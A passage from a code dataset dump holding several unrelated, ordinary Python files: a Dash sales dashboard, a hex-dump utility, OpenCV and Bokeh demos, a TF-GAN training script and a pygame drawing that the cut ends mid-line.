path=[px.Constant('CLIENTES: ' + str(updated_df[\"constante_cli\"].sum())),\n \"canal_det\", 'region', \"cluster_name\"],\n values='constante_cli',\n color=drop_tree,\n title=\"Visualizador de clientes: Canal/Región/Clúster: \" +\n \"Recencia desde \" + \"{:.0f}\".format(recencia[0]) + \" hasta \" + \"{:.0f}\".format(recencia[1]) +\n \" - Ticket desde \" +\n \"${:10,.0f}\".format(\n ticket[0]) + \" hasta \" + \"${:10,.0f}\".format(ticket[1]),\n color_continuous_scale='thermal_r',\n height=700)\n\n return mg3, mg4\n\n\n@app.callback(\n Output(\"tabla_resumen_clu\", \"children\"),\n [Input(\"perf_button1\", \"n_clicks\"),\n Input(\"perf_button2\", \"n_clicks\"),\n Input(\"perf_button3\", \"n_clicks\"),\n Input(\"perf_button4\", \"n_clicks\"), ]\n)\ndef change_paragraph(btn1, btn2, btn3, btn4):\n changed_id = [p[\"prop_id\"] for p in dash.callback_context.triggered][0]\n if \"perf_button1\" in changed_id:\n return tabla_A\n elif \"perf_button2\" in changed_id:\n return tabla_B\n elif \"perf_button3\" in changed_id:\n return tabla_C\n elif \"perf_button4\" in changed_id:\n return tabla_D\n\n\n# __________________________________________ CALLBACKS HOJA 3 ____________________________________________________________________\n\n@app.callback(\n [Output(\"rg1\", \"figure\"), Output(\"rg2\", \"figure\")],\n [Input(\"dropdown_clu_p3\", \"value\"), Input(\"dropdown_grupo_p3\", \"value\"),\n Input(\"primi_m\", \"n_clicks\"), Input(\"primi_f\", \"n_clicks\"),\n Input(\"bebe_m\", \"n_clicks\"), Input(\"bebe_f\", \"n_clicks\"),\n Input(\"niño_m\", \"n_clicks\"), Input(\"niño_f\", \"n_clicks\"),\n Input(\"dropdown_top10_p3\", \"value\")\n ]\n)\ndef clu_sel(cluster, grupo_art, n1, n2, n3, n4, n5, n6, top):\n changed_id = [p[\"prop_id\"] for p in dash.callback_context.triggered][0]\n \n if \"primi_m\" in changed_id:\n genero = \"MASCULINO\"\n edad = \"PRIMI\"\n tabla_grupo_art = df_grupo_art[(df_grupo_art[\"genero\"] == genero) &\n (df_grupo_art[\"edad\"] == edad) &\n (df_grupo_art[\"clu_name\"] == cluster)][[\"grupo_articulo\", \"cantidad\", \"freq_relativa\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n tabla_tipo_art = df_tipo_art[(df_tipo_art[\"genero\"] == genero) &\n (df_tipo_art[\"edad\"] == edad) &\n (df_tipo_art[\"clu_name\"] == cluster) &\n (df_tipo_art[\"grupo_articulo\"] == grupo_art)][[\"tipo_articulo\", \"cantidad\", \"freq_relativa\", \"tipo_tejido\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n \n \n if \"primi_f\" in changed_id:\n genero = \"FEMENINO\"\n edad = \"PRIMI\"\n primi_f = 0\n tabla_grupo_art = df_grupo_art[(df_grupo_art[\"genero\"] == genero) &\n (df_grupo_art[\"edad\"] == edad) &\n (df_grupo_art[\"clu_name\"] == cluster)][[\"grupo_articulo\", \"cantidad\", \"freq_relativa\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n tabla_tipo_art = df_tipo_art[(df_tipo_art[\"genero\"] == genero) &\n (df_tipo_art[\"edad\"] == edad) &\n (df_tipo_art[\"clu_name\"] == cluster) &\n (df_tipo_art[\"grupo_articulo\"] == grupo_art)][[\"tipo_articulo\", \"cantidad\", \"freq_relativa\", \"tipo_tejido\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n\n if \"bebe_m\" in changed_id:\n genero = \"MASCULINO\"\n edad = \"BEBES\"\n bebe_m = 0\n tabla_grupo_art = df_grupo_art[(df_grupo_art[\"genero\"] == genero) &\n (df_grupo_art[\"edad\"] == edad) &\n (df_grupo_art[\"clu_name\"] == cluster)][[\"grupo_articulo\", \"cantidad\", \"freq_relativa\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n tabla_tipo_art = df_tipo_art[(df_tipo_art[\"genero\"] == genero) &\n (df_tipo_art[\"edad\"] == edad) &\n (df_tipo_art[\"clu_name\"] == cluster) &\n (df_tipo_art[\"grupo_articulo\"] == grupo_art)][[\"tipo_articulo\", \"cantidad\", \"freq_relativa\", \"tipo_tejido\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n if \"bebe_f\" in changed_id:\n genero = \"FEMENINO\"\n edad = \"BEBES\"\n bebe_f = 0\n tabla_grupo_art = df_grupo_art[(df_grupo_art[\"genero\"] == genero) &\n (df_grupo_art[\"edad\"] == edad) &\n (df_grupo_art[\"clu_name\"] == cluster)][[\"grupo_articulo\", \"cantidad\", \"freq_relativa\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n tabla_tipo_art = df_tipo_art[(df_tipo_art[\"genero\"] == genero) &\n (df_tipo_art[\"edad\"] == edad) &\n (df_tipo_art[\"clu_name\"] == cluster) &\n (df_tipo_art[\"grupo_articulo\"] == grupo_art)][[\"tipo_articulo\", \"cantidad\", \"freq_relativa\", \"tipo_tejido\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n if \"niño_m\" in changed_id:\n genero = \"MASCULINO\"\n edad = \"NIÑOS\"\n niño_m = 0\n tabla_grupo_art = df_grupo_art[(df_grupo_art[\"genero\"] == genero) &\n (df_grupo_art[\"edad\"] == edad) &\n (df_grupo_art[\"clu_name\"] == cluster)][[\"grupo_articulo\", \"cantidad\", \"freq_relativa\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n tabla_tipo_art = df_tipo_art[(df_tipo_art[\"genero\"] == genero) &\n (df_tipo_art[\"edad\"] == edad) &\n (df_tipo_art[\"clu_name\"] == cluster) &\n (df_tipo_art[\"grupo_articulo\"] == grupo_art)][[\"tipo_articulo\", \"cantidad\", \"freq_relativa\", \"tipo_tejido\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n\n if \"niño_f\" in changed_id:\n genero = \"FEMENINO\"\n edad = \"NIÑOS\"\n niño_f = 0\n\n tabla_grupo_art = df_grupo_art[(df_grupo_art[\"genero\"] == genero) &\n (df_grupo_art[\"edad\"] == edad) &\n (df_grupo_art[\"clu_name\"] == cluster)][[\"grupo_articulo\", \"cantidad\", \"freq_relativa\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n tabla_tipo_art = df_tipo_art[(df_tipo_art[\"genero\"] == genero) &\n (df_tipo_art[\"edad\"] == edad) &\n (df_tipo_art[\"clu_name\"] == cluster) &\n (df_tipo_art[\"grupo_articulo\"] == grupo_art)][[\"tipo_articulo\", \"cantidad\", \"freq_relativa\", \"tipo_tejido\"]]\\\n .reset_index(drop=True).sort_values(by=\"cantidad\", ascending=False)\n\n #tabla_grupo_art = pd.DataFrame()\n\n# --------------Gráfica de barras 1: Grupo artículo\n\n if top == \"tail\":\n rg1 = px.bar(tabla_grupo_art.tail(5).sort_values(by=\"cantidad\"), x=\"cantidad\", y=\"grupo_articulo\",\n title=\"Bottom 5 productos clúster \" + cluster + \" \" + genero + \" \" + edad,\n hover_data=[\"freq_relativa\"],\n color_discrete_map={\n \"\": \"lightsalmon\"\n }\n )\n\n elif top == \"head\":\n rg1 = px.bar(tabla_grupo_art.head(10).sort_values(by=\"cantidad\"), x=\"cantidad\", y=\"grupo_articulo\",\n title=\"Top 10 productos clúster \" + cluster + \" \" + genero + \" \" + edad,\n hover_data=[\"freq_relativa\"],\n color_discrete_map={\n \"\": \"gold\"\n }\n )\n\n\n# --------------Gráfica de barras 2: Tipo artículo\n rg2 = go.Figure(go.Bar(x=tabla_tipo_art[tabla_tipo_art[\"tipo_tejido\"] == 'TEJIDO PLANO'][\"cantidad\"],\n y=tabla_tipo_art[tabla_tipo_art[\"tipo_tejido\"]\n == 'TEJIDO PLANO'][\"tipo_articulo\"],\n name='TEJIDO PLANO',\n orientation='h',\n marker_color='silver'))\n rg2.add_trace(go.Bar(x=tabla_tipo_art[tabla_tipo_art[\"tipo_tejido\"] == 'TEJIDO PUNTO'][\"cantidad\"],\n y=tabla_tipo_art[tabla_tipo_art[\"tipo_tejido\"]\n == 'TEJIDO PUNTO'][\"tipo_articulo\"],\n name='TEJIDO PUNTO',\n orientation='h',\n marker_color='gold'))\n rg2.add_trace(go.Bar(x=tabla_tipo_art[tabla_tipo_art[\"tipo_tejido\"] == 'NO TEJIDO'][\"cantidad\"],\n y=tabla_tipo_art[tabla_tipo_art[\"tipo_tejido\"]\n == 'NO TEJIDO'][\"tipo_articulo\"],\n name='NO TEJIDO',\n orientation='h',\n marker_color='black'))\n rg2.add_trace(go.Bar(x=tabla_tipo_art[tabla_tipo_art[\"tipo_tejido\"] == 'INDISTINTO'][\"cantidad\"],\n y=tabla_tipo_art[tabla_tipo_art[\"tipo_tejido\"]\n == 'INDISTINTO'][\"tipo_articulo\"],\n name='INDISTINTO',\n orientation='h',\n marker_color='lightsalmon'))\n\n rg2.update_layout(barmode='stack', yaxis={\n 'categoryorder': 'total ascending'})\n rg2.update_layout(title_text='Top 10 tipos de ' + grupo_art)\n\n return rg1, rg2\n\n\n# ______________________________________________________________________________________________________\nif __name__ == \"__main__\":\n #app.run_server(debug=True)\n app.run_server(debug=False,dev_tools_ui=False,dev_tools_props_check=False)\n","sub_path":"page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":25507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"97876510","text":"#!/usr/bin/env python\n\"\"\"\nReads a file or monitors a UDP port and prints it's contents in hexadecimal.\n\nUsage:\n With files:\n python hexcat.py \n With sockets:\n python hexcat.py \n\"\"\"\n\nimport sys, os, re, socket\n\nMAX_WIDTH = 80\nREAD_SIZE = 1024\n\ncurr_line_len = 0\n\ndef handle_char(c):\n global curr_line_len\n\n if curr_line_len + 3 > MAX_WIDTH:\n sys.stdout.write(\"\\n\")\n curr_line_len = 0\n\n if c:\n sys.stdout.write(\"{0:02X}\".format(ord(c)) + \" \")\n else:\n sys.stdout.write(\"-- \")\n\n sys.stdout.flush()\n curr_line_len = curr_line_len + 3\n\nif len(sys.argv) > 2:\n host, port = sys.argv[1], sys.argv[2]\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.bind((host, int(port)))\n source = sock.fileno()\nelse:\n source = os.open(sys.argv[1], os.O_RDONLY)\n\nb = os.read(source, READ_SIZE)\nwhile b != \"\" or len(sys.argv) > 2:\n for x in b:\n handle_char(x)\n handle_char(None)\n b = os.read(source, READ_SIZE)\nsys.stdout.write(\"\\n\")","sub_path":"tests/hexcat.py","file_name":"hexcat.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"270835537","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 8 10:30:38 2019\n\n@author: Zhen.Li\n\"\"\"\n\ndef main():\n dateStr = input(\"Enter a date: \")\n mm, dd, yy = dateStr.split(\"/\")\n \n mm = int(mm)\n \n months = [\"Jan\" , \"Feb\" , \"Mar\" , \"Apr\" , \"May\" , \"Jun\" ,\n \"Jul\" , \"Aug\" , \" Sep\" , \"Oct\" , \"Nov\" , \"Dec\" ]\n \n print(months[mm-1], dd + \",\", yy)\n \nmain()","sub_path":"5-dateconvert.py","file_name":"5-dateconvert.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"402274305","text":"from mayday.constants import STATUS_MAPPING, conversations\nfrom mayday.controllers.request import RequestHelper\nfrom mayday.helpers import Helper\n\nrequest_helper = RequestHelper()\n\n\nclass StatHelper(Helper):\n\n def _flatten_distribution(self, distribution):\n return map(self.flatten, distribution)\n\n def get_stat(self):\n stats_result = request_helper.get_stats()\n if stats_result.get('status'):\n result = stats_result.get('info')\n stmt = conversations.STATS.format_map(\n {'status_distribution': '\\n'.join(\n map(conversations.STATUS_STAT.format_map,\n self._flatten_distribution(result.get('status_distribution')))),\n 'ticket_distribution': '\\n'.join(\n map(conversations.TICKET_STAT.format_map,\n self._flatten_distribution(result.get('ticket_distribution')))),\n 'update_at': result.get('update_at')}\n )\n return stmt\n","sub_path":"mayday/helpers/feature_helpers/stat_helper.py","file_name":"stat_helper.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"374269958","text":"import numpy as np\nimport cv2\n\ndef moment():\n img = cv2.imread('E:/Python_Study/OpenCV/images/globe.png')\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n ret, thr = cv2.threshold(img_gray, 127, 255, 0)\n contours, _ = cv2.findContours(thr, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n contour = contours[0]\n mmt = cv2.moments(contour)\n\n for key, val in mmt.items():\n print('%s:\\t %.5f' %(key, val))\n\n cx = int(mmt['m10']/mmt['m00'])\n cy = int(mmt['m01']/mmt['m00'])\n\n print(cx, cy)\n\ndef contour():\n img = cv2.imread('E:/Python_Study/OpenCV/images/model.jpg')\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n ret, thr = cv2.threshold(img_gray, 127, 255, 0)\n contours, _ = cv2.findContours(thr, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n cnt =contours[163]\n area = cv2.contourArea(cnt)\n perimeter = cv2.arcLength(cnt, True)\n\n cv2.drawContours(img, [cnt], 0, (255, 255, 0), 1)\n\n print('contour 면적: ', area)\n print('contour 길이: ', perimeter)\n\n cv2.imshow('contour', img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\nmoment()\ncontour()","sub_path":"OpenCV/EX18-1.Contour2.py","file_name":"EX18-1.Contour2.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"508760301","text":"# coding=utf-8\n# Copyright 2020 The TensorFlow GAN Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# pylint: disable=line-too-long\nr\"\"\"Trains a Self-Attention GAN using Estimators.\n\nThis code is based on the original code from https://arxiv.org/abs/1805.08318.\n\n\"\"\"\n# pylint: enable=line-too-long\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom absl import app\nfrom absl import flags\n\nimport logging\nimport os\n\nflags.DEFINE_string('model_dir', '/tmp/tfgan_logdir/sagan-estimator',\n 'Optional location to save model. If `None`, use a '\n 'default provided by tf.Estimator.')\n\n\n# ML Hparams.\nflags.DEFINE_integer(\n 'train_batch_size', 32,\n 'The number of images in each train batch. From go/tpu-pitfalls: \"The '\n 'batch size of any model should always be at least 64 (8 per TPU core), '\n 'since the TPU always pads the tensors to this size. The ideal batch size '\n 'when training on the TPU is 1024 (128 per TPU core), since this '\n 'eliminates inefficiencies related to memory transfer and padding.\"')\nflags.DEFINE_integer('z_dim', 128,\n 'Dimensions of the generator noise vector.')\nflags.DEFINE_integer('gf_dim', 64, 'Dimensionality of gf. [64]')\nflags.DEFINE_integer('df_dim', 64, 'Dimensionality of df. [64]')\nflags.DEFINE_float('generator_lr', 0.0001, 'The generator learning rate.')\nflags.DEFINE_float('discriminator_lr', 0.0004,\n 'The discriminator learning rate.')\nflags.DEFINE_float('beta1', 0.0, 'Momentum term of adam. [0.0]')\n\n\n# ML Infra.\nflags.DEFINE_enum(\n 'mode', None, ['train', 'continuous_eval', 'train_and_eval', 'intra_fid_eval', 'gen_images', 'gen_matrices'],\n 'Mode to run in. `train` just trains the model. `continuous_eval` '\n 'continuously looks for new checkpoints and computes eval metrics and '\n 'writes sample outputs to disk. `train_and_eval` does both. '\n 'gen_images will generate images from the GAN with one tile per class '\n 'unless gen_images_uniform_random_labels=True, then images will have '\n 'classes randomly uniformly sampled. '\n 'If not set, will deduce mode from the TF_CONFIG environment variable.')\nflags.DEFINE_integer('max_number_of_steps', 50000,\n 'The maximum number of train steps.')\nflags.DEFINE_integer(\n 'train_steps_per_eval', 1000,\n 'Number of train steps before writing some sample images.')\nflags.DEFINE_integer('num_eval_steps', 32, 'The number of evaluation steps.')\nflags.DEFINE_integer('eval_batch_size', 32,\n 'The number of images in each eval batch.')\nflags.DEFINE_integer('predict_batch_size', 80,\n 'The number of images in each predict batch.')\n\n# Debugging.\nflags.DEFINE_bool('use_tpu', False, 'Whether to use TPU or CPU.')\nflags.DEFINE_bool('eval_on_tpu', False, 'Whether eval is run on TPU.')\nflags.DEFINE_integer(\n 'continuous_eval_timeout_secs', None,\n 'None, or number of seconds to wait for a checkpoint '\n 'before stopping.')\n\n# TPU params.\nflags.DEFINE_bool(\n 'use_tpu_estimator', False,\n 'Whether to use TPUGANEstimator or GANEstimator. This is useful if, for '\n 'instance, we want to run the eval job on GPU.')\nflags.DEFINE_string('tpu', None, 'A string corresponding to the TPU to use.')\nflags.DEFINE_string('gcp_project', None,\n 'Name of the GCP project containing Cloud TPUs.')\nflags.DEFINE_string('tpu_zone', None, 'Zone where the TPUs are located.')\nflags.DEFINE_integer(\n 'tpu_iterations_per_loop', 1000,\n 'Steps per interior TPU loop. Should be less than '\n '--train_steps_per_eval.')\n \n# MHingeGAN\nflags.DEFINE_integer(\n 'image_size', 32,\n 'The size of the images in the dataset.')\nflags.DEFINE_string('dataset_val_split_name', 'test',\n 'For the datset that is being used, the name of the '\n 'split that should be used for validation. In imagenet it is \"validation\",'\n 'other times it is \"test\".')\nflags.DEFINE_integer(\n 'num_classes', 10,\n 'The number of classes in the dataset.')\nflags.DEFINE_string('data_dir', None,\n 'A directory for a TFDS datset. If `None`, use default.')\nflags.DEFINE_string('dataset_name', 'imagenet2012',\n 'Which dataset to use. imagenet2012 is default.')\nflags.DEFINE_float('aux_cond_generator_weight', None,\n 'How to scale generator ACGAN loss relative to WGAN loss, default is None. Try 0.1')\nflags.DEFINE_float('aux_cond_discriminator_weight', None, \n 'How to scale the critic ACGAN loss relative to WGAN loss, default is None. Try 1.0')\nflags.DEFINE_float('aux_mhinge_cond_generator_weight', None,\n 'How to scale generator Multi-Hinge GAN loss relative to WGAN loss, default is None.')\nflags.DEFINE_float('aux_mhinge_cond_discriminator_weight', None, \n 'How to scale discriminator Multi-Hinge GAN loss, default is None., default is None.')\nflags.DEFINE_enum(\n 'critic_type', 'acgan', ['acgan', 'kplusone_fm', 'kplusone_wgan', 'acgan_noproj', 'acgan_multiproj'],\n 'Use this oprtion to switch between architectures for D and G.')\nflags.DEFINE_float('kplusone_mhinge_cond_discriminator_weight', None, \n 'When using a K+1 GAN, how to scale the MHingeGAN loss. Default is None.')\nflags.DEFINE_float('kplusone_nll_discriminator_weight', None, \n 'When using a K+1 GAN, how to scale the NLL loss. Default is None.')\nflags.DEFINE_float('kplusonegan_confuse_generator_weight', None, \n 'When using a K+1 GAN, how to scale the Confuse loss. Default is None. Try 1.0')\n\n# unlabelled data\nflags.DEFINE_string('unlabelled_dataset_name', None,\n 'If set use unlabelled data.')\nflags.DEFINE_string('unlabelled_dataset_split_name', 'unlabelled',\n 'The split in the tensorflowdatasets dataset to use as unlabelled.')\nflags.DEFINE_float('kplusone_mhinge_ssl_cond_discriminator_weight', None, \n 'When using a K+1 GAN in a SSL setting, how to scale the MHingeGAN loss. Default is None.')\nflags.DEFINE_enum(\n 'generator_loss_fn', None, ['kplusone_wasserstein_generator_loss', 'kplusone_featurematching_generator_loss', 'kplusone_ssl_featurematching_generator_loss', 'kplusonegan_activationmaxizaion_generator_loss', 'kplusonegan_pll_generator_loss', 'kplusonegan_csc_generator_loss'],\n 'Use this arg when you are not using an ACGAN to override the generator loss. Used for K+1 GANS.')\nflags.DEFINE_integer( 'tpu_gan_estimator_d_step', 1, 'For TPU execution only, control number of discriminator steps. This feature is unsupported on GPU.')\nflags.DEFINE_integer( 'tpu_gan_estimator_g_step', 1, 'For TPU execution only, control number of discriminator steps. This feature is unsupported on GPU.')\nflags.DEFINE_float('generator_margin_size', 1.0, 'Used in achingegan_generator_loss.')\nflags.DEFINE_integer( 'intra_fid_eval_chunk_size', None, 'The number of classes for which to compute a FID score within the class. This allows processing batches of FID scores in parallel for speed improvements.')\nflags.DEFINE_integer( 'tfdf_num_parallel_calls', 16, '...')\nflags.DEFINE_integer( 'n_images_per_side_to_gen_per_tile', None, 'When exporting images, this is the number of images per side of the square exported. This is useful when exporting a collage of images per class. It should be set to the square root of the eval batch size.')\nflags.DEFINE_bool('gen_images_with_margins', False, 'When exporting images per class, if this option is true the images will be sorted by the size of their classification margin.')\nflags.DEFINE_bool('extra_eval_metrics', False, 'Perform extra eval metrics like accuracy.')\nflags.DEFINE_integer( 'keep_checkpoint_max', 5, 'Number of most recent checkpoints to keep. Others will be deleted.')\nflags.DEFINE_float('generator_confuse_margin_size', 0.1, 'Used in kplusonegan_confuse_generator_loss.')\nflags.DEFINE_bool('gen_images_uniform_random_labels', False, 'If mode is gen_images, do not do it classwise if this is true.')\n\n\nFLAGS = flags.FLAGS\n\ndef main(_):\n from tensorflow_gan.examples.self_attention_estimator import train_experiment\n \n # get TF logger\n log = logging.getLogger('tensorflow')\n log.setLevel(logging.INFO)\n \n # create formatter and add it to the handlers\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n \n # create file handler\n logging_dir = os.environ['HOME'] if FLAGS.use_tpu else FLAGS.model_dir\n if not os.path.isdir(logging_dir):\n os.makedirs(logging_dir)\n fh = logging.FileHandler(logging_dir + '/tensorflow.log')\n fh.setLevel(logging.INFO)\n fh.setFormatter(formatter)\n log.addHandler(fh)\n \n tpu_location = FLAGS.tpu\n if FLAGS.use_tpu:\n assert ',' not in tpu_location, 'Only using 1 TPU is supported'\n hparams = train_experiment.HParams(\n train_batch_size=FLAGS.train_batch_size,\n eval_batch_size=FLAGS.eval_batch_size,\n predict_batch_size=FLAGS.predict_batch_size,\n generator_lr=FLAGS.generator_lr,\n discriminator_lr=FLAGS.discriminator_lr,\n beta1=FLAGS.beta1,\n gf_dim=FLAGS.gf_dim,\n df_dim=FLAGS.df_dim,\n num_classes=FLAGS.num_classes,\n shuffle_buffer_size=10000,\n z_dim=FLAGS.z_dim,\n model_dir=FLAGS.model_dir,\n max_number_of_steps=FLAGS.max_number_of_steps,\n train_steps_per_eval=FLAGS.train_steps_per_eval,\n num_eval_steps=FLAGS.num_eval_steps,\n debug_params=train_experiment.DebugParams(\n use_tpu=FLAGS.use_tpu,\n eval_on_tpu=FLAGS.eval_on_tpu,\n fake_nets=False,\n fake_data=False,\n continuous_eval_timeout_secs=FLAGS.continuous_eval_timeout_secs,\n ),\n tpu_params=train_experiment.TPUParams(\n use_tpu_estimator=FLAGS.use_tpu_estimator,\n tpu_location=tpu_location,\n gcp_project=FLAGS.gcp_project,\n tpu_zone=FLAGS.tpu_zone,\n tpu_iterations_per_loop=FLAGS.tpu_iterations_per_loop,\n ),\n )\n if FLAGS.mode == 'train':\n train_experiment.run_train(hparams)\n elif FLAGS.mode == 'continuous_eval':\n train_experiment.run_continuous_eval(hparams)\n elif FLAGS.mode == 'intra_fid_eval':\n train_experiment.run_intra_fid_eval(hparams)\n elif FLAGS.mode == 'train_and_eval' or FLAGS.mode is None:\n train_experiment.run_train_and_eval(hparams)\n elif FLAGS.mode == 'gen_images':\n train_experiment.gen_images(hparams)\n elif FLAGS.mode == 'gen_matrices':\n train_experiment.gen_matrices(hparams)\n else:\n raise ValueError('Mode not recognized: ', FLAGS.mode)\n\n\nif __name__ == '__main__':\n app.run(main)\n","sub_path":"tensorflow_gan/examples/self_attention_estimator/train_experiment_main.py","file_name":"train_experiment_main.py","file_ext":"py","file_size_in_byte":11171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"5420501","text":"import numpy as np\n\nfrom bokeh.layouts import column, row\nfrom bokeh.models import CustomJS, Slider\nfrom bokeh.plotting import ColumnDataSource, figure, output_file, show\n\ndef bokeh_sliders_1():\n x = np.linspace(0, 10, 500)\n y = np.sin(x)\n\n source = ColumnDataSource(data=dict(x=x, y=y))\n\n plot = figure(y_range=(-10, 10), plot_width=400, plot_height=400)\n\n plot.line('x', 'y', source=source, line_width=3, line_alpha=0.6)\n\n amp_slider = Slider(start=0.1, end=10, value=1, step=.1, title=\"Amplitude\")\n freq_slider = Slider(start=0.1, end=10, value=1, step=.1, title=\"Frequency\")\n phase_slider = Slider(start=0, end=6.4, value=0, step=.1, title=\"Phase\")\n offset_slider = Slider(start=-5, end=5, value=0, step=.1, title=\"Offset\")\n\n callback = CustomJS(args=dict(source=source, amp=amp_slider, freq=freq_slider, phase=phase_slider, offset=offset_slider),\n code=\"\"\"\n const data = source.data;\n const A = amp.value;\n const k = freq.value;\n const phi = phase.value;\n const B = offset.value;\n const x = data['x']\n const y = data['y']\n for (var i = 0; i < x.length; i++) {\n y[i] = B + A*Math.sin(k*x[i]+phi);\n }\n source.change.emit();\n \"\"\")\n\n amp_slider.js_on_change('value', callback)\n freq_slider.js_on_change('value', callback)\n phase_slider.js_on_change('value', callback)\n offset_slider.js_on_change('value', callback)\n\n layout = row(\n plot,\n column(amp_slider, freq_slider, phase_slider, offset_slider),\n )\n\n output_file(\"slider.html\", title=\"slider.py example\")\n\n show(layout)\n\ndef bokeh_sliders_3():\n from bokeh.layouts import column\n from bokeh.models import CustomJS, ColumnDataSource, Slider\n from bokeh.plotting import Figure, output_notebook, show\n\n output_notebook()\n\n x = [x*0.005 for x in range(0, 200)]\n y = x\n x1 = [x1*0.005 for x1 in range(0, 200)]\n y1 = x1\n\n source = ColumnDataSource(data=dict(x=x, y=y))\n source1 = ColumnDataSource(data=dict(x1=x1,y1=y1))\n\n plot = Figure(plot_width=400, plot_height=400)\n plot.line('x', 'y', source=source, line_width=3, line_alpha=0.6)\n\n plot1 = Figure(plot_width=400, plot_height=400)\n plot1.line('x1', 'y1', source=source1, line_width=3, line_alpha=0.6)\n\n callback = CustomJS(args=dict(source=source, source1=source1), code=\"\"\"\n var data = source.data;\n var data1 = source1.data;\n var f1 =cb_obj.value\n var f = cb_obj.value\n x = data['x']\n y = data['y']\n x1 = data['x1']\n y1 = data['y1']\n\n for (i = 0; i < x.length; i++) {\n y[i] = Math.pow(x[i], f)\n }\n for (i = 0; i < x1.length; i++) {\n y1[i] = Math.pow(x1[i], f1)\n }\n source.change.emit();\n source1.change.emit();\n \"\"\")\n\n slider = Slider(start=0.1, end=4, value=1, step=.1, title=\"power\")\n slider.js_on_change('value', callback)\n\n layout = column(slider, plot,plot1)\n\n show(layout)\n\n\nif __name__ == \"__main__\":\n # bokeh_sliders_1()\n bokeh_sliders_3()","sub_path":"plotly_fitter/sample_bokeh.py","file_name":"sample_bokeh.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"466467911","text":"#!/usr/bin/python-sirius\n\nfrom BBBread import RedisServer\nfrom time import sleep\n\nCONNECTED = 0\nDISCONNECTED = 1\nMOVED = 2\n\nserver = RedisServer()\nlocal_db = server.local_db\n\nwhile True:\n try:\n sleep(1)\n bbb_list = server.list_connected()\n for bbb in bbb_list:\n bbb_state = server.bbb_state(bbb)\n except AttributeError:\n continue\n\n\n","sub_path":"BBBread_Server.py","file_name":"BBBread_Server.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"342722558","text":"import pygame\nfrom pygame.draw import *\n\n\npygame.init()\n\n\nscreen = pygame.display.set_mode((600, 402))\n\nbrown = (153, 51, 0)\n# Sand, water and air\nrect(screen, (255, 255, 0), (0, 275, 600, 127))\nrect(screen, (0, 0, 255), (0, 175, 600, 100))\nrect(screen, (0, 255, 255), (0, 0, 600, 175))\n# Sun\ncircle(screen, (255, 255, 0), (500, 75), 50)\n# Cloud\ndef cloud(x, y, e, k):\n r = 25 * k\n g = 0.8\n for i in range(4):\n ellipse(screen, (255, 255, 255), [x + g * r * i, y - r, e * r, r], 0)\n ellipse(screen, (0, 0, 0), [x + g * r * i, y - r, e * r, r], 1)\n for i in range(3):\n ellipse(screen, (255, 255, 255), [x + g * r * (i + 1 / 2), y - r / 2, e * r, r], 0)\n ellipse(screen, (0, 0, 0), [x + g * r * (i + 1 / 2), y - r / 2, e * r, r], 1) \n return None\ncloud(90, 50, 1, 1.2)\n# Umbrella\ndef umbrella(x, y, k): #x, y - coordinates of left bottom corner of stick, k - scale\n h = 150 * k #Heith of stick\n w = 8 * k #Width of stick\n rect(screen, (153, 51, 0), (x, y - h, w, h))\n wt = 70 * k #Width of hat\n polygon(screen, (255, 0, 0), \n [(x - wt + w / 2, y - 5 * h / 6), (x + w / 2, y - h * 1.05), (x + wt + w / 2, y - 5 * h / 6), (x - wt + w / 2, y - 5 * h / 6)])\n for i in range(8):\n line(screen, (125, 40, 0), (x + w / 2, y - h * 1.05), (x - wt + w / 2 + i * wt * 2 / 8, y - 5 * h / 6))\n return None\numbrella(75, 375, 1)\n# Ship\ndef ship(x, y, k):\n r = 25 * k #Radius of 